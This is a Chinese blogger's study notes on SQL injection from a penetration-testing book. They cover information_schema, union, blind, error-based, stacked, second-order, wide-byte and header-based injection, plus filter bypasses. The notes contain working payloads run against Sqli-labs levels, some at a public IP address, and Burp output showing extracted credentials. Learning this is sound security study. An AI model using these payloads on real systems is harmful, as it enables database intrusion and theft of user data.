《Web安全攻防 渗透测试实战指南》学习笔记(5) - Sql注入

如有侵权,请联系删除

Sql注入基础

information_schema

在MySOL 5.0之后,就多出了这个information_schema的数据库,该数据库中存有整个数据库的信息

我记得我最开始看这个的时候,总觉得是一个完整的数据库,里边按理说有很多的数据库,其中一个叫information_schema的数据库里又包含了一整个数据库,完全就是一中套娃的感觉。后来才知道,information_schema这个数据库里并没有保存这一整个数据库,他只是保存了数据库的信息。 就像是一台电脑,把所有的文件夹右键选择属性,然后复制属性信息,把这些信息全部保存在一个文件夹,这个文件夹里并没有其他文件夹里的文件。information_schema就是这样的一个文件夹。

在该数据库中需要着重关注三个表:SCHEMATA,TABLES,COLUMNS

SCHEMATA: 储存着所有数据库的库名

需要关注该表中的一个字段SCHEMA_NAME

SCHEMA_NAME字段的内容就是所有数据库的库名,因为想要查询整个数据的库名,查看这个字段的全部内容即可,因此命令为:

select schema_name from information_schema.schemata

含义就是查看infomation_schema数据库下的schemata表的shema_name。结果就是全部数据库的名称

TABLES:储存着所有表名

需要关注该表中的两个字段:TABLES_SCHEMATABLE_NAME

TABLE_SCHEMA字段的内容是当前要查询的数据库的名称
TABLE_NAME字段的内容是当前数据库的所有表名

这两个字段需要对应使用,通过table_schema来确定要查询的数据库,通过table_name来确定数据库中所有的表名。二者的关系大概就像下边这样:

TABLE_SCHEMATABLE_NAME
userusername
userpassword
user
securitytable1
securitytable2
security

所以想要查询一个数据库中的全部表名,需要确认数据库,并查询table_name即可,因此命令为:

select table_name from information_schema.tables where table_schema='security'

含义就是查看security库中所有表名

COLUMNS:储存着所有字段名

需要关注该表中的三个字段:TABLE_SCHEMA,TABLE_NAME,``COLUMNS_NAME`

TABLE_SCHEMA字段保存的依然是数据库
TABLE_NAME字段保存的依然是表名,这两个和上边的TABLES库类似
COLUMNS_NAME字段保存的是某一个表下,所有的列命。具体结构可以参考上边那张表格自己思考

所以想要查询所有字段名,需要确定表名,查询columns_name即可,因此命令为:

select column_name from information_schema.columns where table_name='users'

含义就是查看users表的所有列名

查询字段的具体内容

既然根据information_schema可以知道整个数据库的结构,知道想查询的具体字段,但是怎么获取字段的内容呢

比如我们知道,在security数据库下有users表,表中有两个字段usernamepassword,我们想知道这俩个字段的值,可以使用:

select password from security.users
select username from security.users

MySQL查询语句

那么上边那个select、where到底是什么意思呢?
这些都是sql的查询语句,数据库操作包括增删改查,今天简单介绍一下查。

  1. 不知道任何条件时
select 要查询的字段名 from 库名.表名
  1. 知道一个条件时
select 要查询的字段名 from 库名.表名 where 已知条件的字段名='已知条件的值'

这里的where就相当于一个限定条件,从一大堆搜索结果挑选出你限定了条件的那一种

  1. 知道多个条件时
select 要查询的字段名 from 库名.表名 where 已知条件1的字段名='已知条件1的值' and 已知条件2的字段名='已知条件2的值'

limit的用法

limit是用来限制输出结果的长度的函数,limit的格式为limit m,n,其中m表示记录开始的位置,从0开始;n表示取n条记录
比如limit 0,1指的是打印第一条数据,limit 1,1指的是打印第二条数据
再比如limit 0,2指的是打印前两条数据
这一块了解过java之类的编程语言应该理解起来更方便些…

然后就是我看那些payload的时候发现,limit通常是放在查询语句的句尾,就像这样

select column_name from information_schema.columns where table_name='users' limit 0,1

另外,这里可以使用burp的爆破功能,对limit的第一个参数进行爆破,这样就可以打印出每条数据
就以Sqli-labs Less-1为例,我去尝试爆破一下
payload为:

-1%27%20union%20select%201,(select%20username%20from%20security.users%20limit%200,1),(select%20password%20from%20security.users%20limit%200,1)--+

发送到intruder模块,并将limit第一个参数添加标记
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pbMdQUB7-1586698618705)(_v_images/20200411161756225_261348170.png)]

手动Add几个数字(1,2,3,4,5),并改为攻城锤模式,开始攻击
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2NCFC6L9-1586698618706)(_v_images/20200411161918323_546870417.png)]

成功得到账户密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NQJm8D4i-1586698618707)(_v_images/20200411162008614_1047615505.png)]
响应报文为:

HTTP/1.1 200 OK
Date: Sat, 11 Apr 2020 08:10:45 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.13
Vary: Accept-Encoding
Content-Length: 731
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">







 
<font size='5' color= '#99FF00'>Your Login name:Angelina<br>Your Password:I-kill-you</font></font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

substr

和limit大同小异,接收三个参数,格式为subsre(database(),1,1)
第一个参数是需要截取的字符串
第二个参数是开始截取的位置,从1开始,这里和limit不同
第三个参数是截取几位
除了开始截取的位置不同,其余均和limit类似

因为我也是个渣渣,编程课都去划水了,我大概猜测一下这两个函数开始截取位置为什么不同
因为limit更像是对数组进行操作,数组下标从0开始
而substr是对字符串进行操作,大概是因为字符串没有下标这一说,所以就是从1开始
没记错的话,java里的相关内容就是这么回事

然后这个的payload为:

‘ and substr(database(),1,1)='t'--+

但是在具体实战中,需要用到字符串截取操作的时候,一般不用字符串进行直接比较。
在MySQL中,可以ASCII码进行比较,字符转换成ASCII码的函数为ord()
payload为:

` and ord(substr(database(),1,1))=115--+

另外,根据subsre函数的特性,依然可以使用burp进行爆破

需要记住的几个函数

batabase():当前数据库(注意英语这一块,data是数据,date是日期)
version():MySQL版本
user():当前用户

注释方式

#
--
/* */
以及他们的各种编码结果

常见注入方式

Union select联合查询漏洞

应用与页面有回显位的情况

这个真的太**了,基本sql注入入门的时候就是这个。
我腻了,书上写的我不知道操作过多少遍

Boolen注入

应用于没有回显,不显示报错信息,但是页面会有变化的情况

布尔盲注之前一直没怎么好好看过(菜是原罪菜是原罪),以为时间盲注就好了嘛,老子干嘛要那么麻烦。
时间盲注也不需要看页面返回的情况,好用的一批;如果返回页面会变化,那我就用报错注入了呀。
要这个布尔盲注干嘛…

结果,这本书给我正经八百上了一课,话不多说,上代码审计:

<?php
$con=mysqli_connect("localhost","root","12345","test");
if (mysqli_connect_error())
{
    echo "ERROR"".mysqli_connect.error();
}
$id = $_GET['id'];
if (preg_match("/union|sleep|benchmark/i",$id))
{
    exit("no");
}

# 下面我就不写了
?>

这里对一些关键字进行了过滤,一旦检验到id中有union|sleep|benchmark中的任意一个,就会直接打印no并退出

假如此时我们明知道一个站,他的id确确实实存在sql注入。
但是他又没有回显,没法union查询注入;没有报错信息,没法报错注入;使用sleep有会被过滤。
但这个页面是会变化的,那么这个时候,就可以采用布尔盲注。

具体注入流程

以Sqli-labs Less-8为例

1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gQJKxREW-1586698618707)(_v_images/20200411172132916_1243115124.png)]

1’

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-oZCPjHeT-1586698618708)(_v_images/20200411172159680_797378212.png)]

1‘ --+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X6nQUcoK-1586698618708)(_v_images/20200411172233556_1753641576.png)]

至此,基本可以判断id这里存在注入漏洞,并且闭合方式为单引号

然后测试当前数据库长度

1' and length(database())>=1--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zGtxyGPs-1586698618709)(_v_images/20200411180551431_1756034861.png)]

然后甩到burp里进行爆破
长度>=8的时候,返回You are in…
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sgObkeN4-1586698618709)(_v_images/20200411181116302_2020548504.png)]
长度>=9的时候,返回空
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J3aomipn-1586698618709)(_v_images/20200411181159679_1474305980.png)]

所以,当前数据库的长度是8

因为我们知道是Sqli-labs的数据库都是小写字母,所以直接测试小写字母了,方便一点。而a-z的ASCII码为97-122

1' and ord(substr(database(),1,1))=97--+

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9Zhc6jI6-1586698618709)(_v_images/20200411172638190_1883503345.png)]

我们可以去burp跑一下,可以使用狙击手模式,我们手动对substr(database(),1,1)的第二个参数进行改变,而将转换后的ASCII码添加标记,进行爆破
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zLcR8aAU-1586698618710)(_v_images/20200411175725051_1389638436.png)]
ascii码为115,也就是’s’,就是当前数据库的第一个字母

substr(database(),1,1)改为substr(database(),2,1),用此方法进行数据库每个字母的爆破

报错注入

报错注入应用于没有回显,但是会显示报错信息的情况

这个注入,我发现雷神公测这个公众号最近在出报错注入原理系列。而我对这个代码执行的原理真的不太懂,这里只记录payload。

我会在这里更新雷神公测的文章:
报错注入原理分析之 floor()

报错注入一共可以使用三个函数:floor(),extractvalue(),updatexml()

Payload:(只需将select version()换成想要查询的语句即可)

' or (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2))) --+
' or (select extractvalue(1,concat(0x7e,(select version()),0x7e)))--+
' or (select updatexml(1,concat(0x7e,(select version()),0x7e),1))--+

示例:
在这里插入图片描述

时间盲注

时间盲注应用于没有回显,且没有报错信息,页面正常显示的情况
但是注意,假如一个登录页面,你输入错误的密码,页面显示你密码错误,这个不叫显示报错,这个属于页面显示正常

时间盲注和布尔盲注很像。只不过就是布尔盲注是通过看页面变化来判断对错,时间盲注是靠页面响应的时间。
这里就要使用if(expr1,expr2,expr3)语句和sleep()函数结合,进行判断
if()语句接收3个参数,有点类似于编程中的条件运算符似的,第一个参数是判断条件,如果条件为真,返回第二个值,为假就返回第三个。

所以可以得到最基本的时间盲注的判断语句:

if(1=1,sleep(5),1)

判断一个站是否存在时间盲注漏洞,就用上边这条语句,如果响应时间是5秒,则证明存在。
以Sqli-labs Less-9为例

id=1' and if(1=1,sleep(5),1)--+

执行该payload,页面将会延迟5秒响应,证明存在时间盲注
在这里插入图片描述
然后判断方式就和布尔盲注那一块差不多了,比如用substr()看看当前数据库之类的,这里就不演示了。

堆叠查询注入

应用场景不详

可以去这个靶场体验一下:2019网强杯

这个注入存在两个字段,并且有回显,当然想到使用联合查询注入,结果
在这里插入图片描述
基本能想到的全被过滤了,联合查询,insert,update,delete,连where都被过滤了。
这种情况可以考虑堆叠注入。

堆叠查询可以执行多条语句,语句之间使用分号隔开。

我做了一个测试,正常的payload应该像这个图片里那样,正常显示了
在这里插入图片描述
如果把select换成show,页面就会报错了
在这里插入图片描述

然后我查了他俩的区别,他俩的效果是差不多的,但是就是show不能放在查询语句里。单独成一句话是可以的。
大概就是,id=1 and select database();可以执行;id=1 and show database();就不行,但是show database();就可以。
大概就是这种感觉吧。

所以像上边那个靶场那样的,我们就可以使用多条语句进行查询,然后不就可以做到不使用select依然可以打印信息了嘛。
具体操作参考:2019网强杯_堆叠查询注入解析

二次注入

应用于一个地方没有sql注入漏洞,但是和它有关的另一个页面有sql注入漏洞的情况

比如有一个注册页面,做了很好的过滤,不存在注入漏洞;但是有一个页面可以通过id值查看用户信息。
这就是比较典型的二次注入模型,先来分析一下源码:

用户注册页面:

# 假设需要提交用户名和密码
# 主要逻辑代码为

<?php
    # 获取username和password,并赋值
    $username = $_GET['username'];
    $password = $_GET['password'];
    # 因为是注册页面,所以使用insert将数据插入数据库,但是username应用了转义字符,password使用了md5哈希。因为不存在sql注入
    $result = mysqli_query($con,"insert into users('username','password') values('".addslashes($username)."','".md5($password)."')");
?>

查询用户信息界面:

# 该逻辑为,通过id获取username,然后通过username查询对应的数据
<?php
    $id intval($_GET['id']);
    $result= mysqli_query($con,"select* from users where id="$id);row= mysqli_fetch_array($result);
    $username$row['username'];
    $result2 = mysqli_query($con,"select from person where "username'='".$username."');
?>

因为这里并没有对username进行处理,直接拼接语句进行查询,所以我们可们进行利用。

具体思路就是:

  1. 注册用户时提交userametest'
  2. 然后去访问用户信息,查看页面是否正常,由此判断查询信息页面是否存在注入漏洞。我们假设存在
  3. 然后重新注册,此时注册的用户信息就要看页面具体的回显来判断注册的username是什么了。我们假设根据第二步的回显发现可以尝试联合查询注入,所以我们这次的注册信息将变为username=test' order 3
  4. 再次查询用户信息,观察页面变化来判断字段数。
  5. 然后进行爆库之类的一系列操作

还有一种利用方式,就是Sqli-labs Less-24,这个的思路就是将管理员账户的密码改掉。但是具体原理都是一样的:总有一个地方防护做的不好,数据库中已有的信息就不进行过滤,直接带入查询

教程看下这个,写的很好:Sqli-labs Less-24教程

宽字节注入

应用于单引号被转义,且数据库为GBK编码的情况

其实目的很简单,就是使转义字符无效,这样就可以造成单引号不闭合。但是原理我居然听到了两种原理:

  1. 宽字节指的是2个字节,两个字节显示的时候就会占两个位置。而%df经过url编码后是那个数学里常用的ß,这个是2字节的字符,在显示的时候会将转义符占掉,从而使转义符无效。
  2. %df和转义符\的url编码结果%5c结合变成%df%5c,而这个结果在GBK编码中,这好是一个繁体字,这样使得单引号无法被转义。并且有的博主明确表示,不一定使用%df,只要是包含%5c的GBK编码字都是可以的

既然sql注入是对后台数据库的一种侮辱,那么肯定挨不着url编码的事儿啊,原理1显然经不起推敲。我也不知道我在接收的这垃圾知识。而且书上都是写的原理2,那么就按原理2来理解吧,开始实战
实验场景:Sqli-labs Less-32

  1. 先测试一下
http://43.247.91.228:84/Less-32/?id=1%27

页面显示正常
在这里插入图片描述

  1. 假装没看见提示,不知道这是宽字节注入,然后我们试一下,有没有可能是宽字节注入呢[疑问]
http://43.247.91.228:84/Less-32/?id=1%df%27

YES!报错了,证明单引号没有被转义,成功造成了单引号不闭合
在这里插入图片描述

  1. 再验证一下
43.247.91.228:84/Less-32/?id=1%df%27--+

ok,页面正常了,证明存在注入点,且页面有回显,使用联合查询注入就可以
在这里插入图片描述
在这里插入图片描述

本部分主要参考文章:宽字节注入原理分析。不仅写的好,而且还…
我先喝口营养快线,你们先自习!

cookie注入

因为我实战经验很少,所以这个我也不太知道如何判断是否有cookie注入漏洞,不过按之前学长说的,可能就是把你知道的全都试一下,没什么明显的特征。
当你burp抓包的时候发现cookie中有传过去的参数,那么这个就是cookie注入了

同类别的请求头注入都是一个原理,还有User-Augnet,只要是和数据库有交互的首部字段,没有一个是无辜的。

而后台的逻辑也很简单,从cookie中获取参数的值,而不是直接GET接收,获取到参数的值之后,就又开始之前的逻辑(实战中肯定会有各种绕过)。
Sqli-labs Less-20为例

我们直接burp抓包,发现cookie中有uname的信息,想到就是cookie注入
在这里插入图片描述

我们直接甩到Reteaper模块下,这样方便些

修改uname=admin',发现返回信息中提示错误,想到可以使用报错注入
在这里插入图片描述

随便查一下当前数据库试试

'or updatexml(1,concat(0x7e,(database()),0x7e),1) or'

在这里插入图片描述

User-Agent注入

同cookie注入,就是和数据库交互的头部变成了User-Agent

这个头部就是用户的一些客户端信息,我们除了在burp中进行更改来绕狗,还可以进行sql注入,前提是这个和数据库有交互
比如有一个头部是这样的

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 

我们的payload是这样的

’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

所以我们只需要把payload加在最后面就可以了

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

XFF注入

同cookie注入,就是和数据库交互的头部变成了X-Forwarded-for

这个头部字段是一个ip地址,简单举个例子

X-Forwarded-for:127.0.0.1

我们的payload为(假设使用报错注入)

’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

所以我们只需要把payload加在那个ip后边即可

X-Forwarded-for:127.0.0.1’ or updatexml(1,concat(0x7e,(database()),0x7e),1) or‘

base64注入

在请求数据中可以明显看到数据是经过base64编码的

判断是否为base64编码的方法:(简化版)
看是否是由大小写字母和数字组成的一堆乱码

后台的逻辑就是获取数据之后先调用函数进行base64解码

所以我们的注入思路就是,先把数据base64解码,然后写入payload,然后再base64编码,再发送数据

Sql注入绕过技术

大小写绕过

比如说当and 1=1被过滤的时候(被过滤就是指一个函数,把and、select之类的换成空,那种),就试一下换成大写And(任意大写都可以:AND、aNd)。
这些大写传到数据库进行查询操作的时候,都是可以有效查询的

双写绕过

还是上边说的那种情况,将and换成空,那么我们在够在payload的时候,可以这样

?id=1 aandnd 1=1--+

然后and被替换成空,就变成了

?id=1 and 1=1--+

然后这条语句被传进了数据库进行查询

二次编码绕过

将and进行两次url全编码,然后进行注入测试

这个的原理大概就是,客户端(浏览器)会对要传输的数据进行编码,服务器中间件、php自身、开发者写的解码函数都会对数据进行解码。当那几个解码的东西配合不充分,就会造成解码多多少少有点混乱。于是攻击者可利用此特性,进行二次编码绕过

比如本来payload为

?id=1 and 1=1

现在为

?id=1 %25%36%31%25%36%65%25%36%34 1=1

在比如,如果有后台对单引号进行了转义,那么可以利用二次编码的特性,将\干掉
比如

?id=1'

在后台被过滤

?id=1\'

因为%经过url编码后为%25,所以我们在最开始的payload就是这样

?id=1%2527

这样的话,如果存在二次编码注入(记得吗,就是那个后台解码很混乱的漏洞),那么他就会乱解码,最后总会把payload解码变成

?id=1'

内联注释绕过

这个原理真的不太清楚

但是这二者的效果是一样的

43.247.91.228:84/Less-1/?id=1' /*!and*/ 1=1--+
43.247.91.228:84/Less-1/?id=1' and 1=1--+

就是说,and被注释了,但是却依然在起作用,而且还可以绕过。我傻了,这里对原理暂且不做深究
这里对原理还真特么可以做深究,因为
MySql中,/* */是注释符,但是加了!,/*! */,那么后边的内容将会被执行!

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值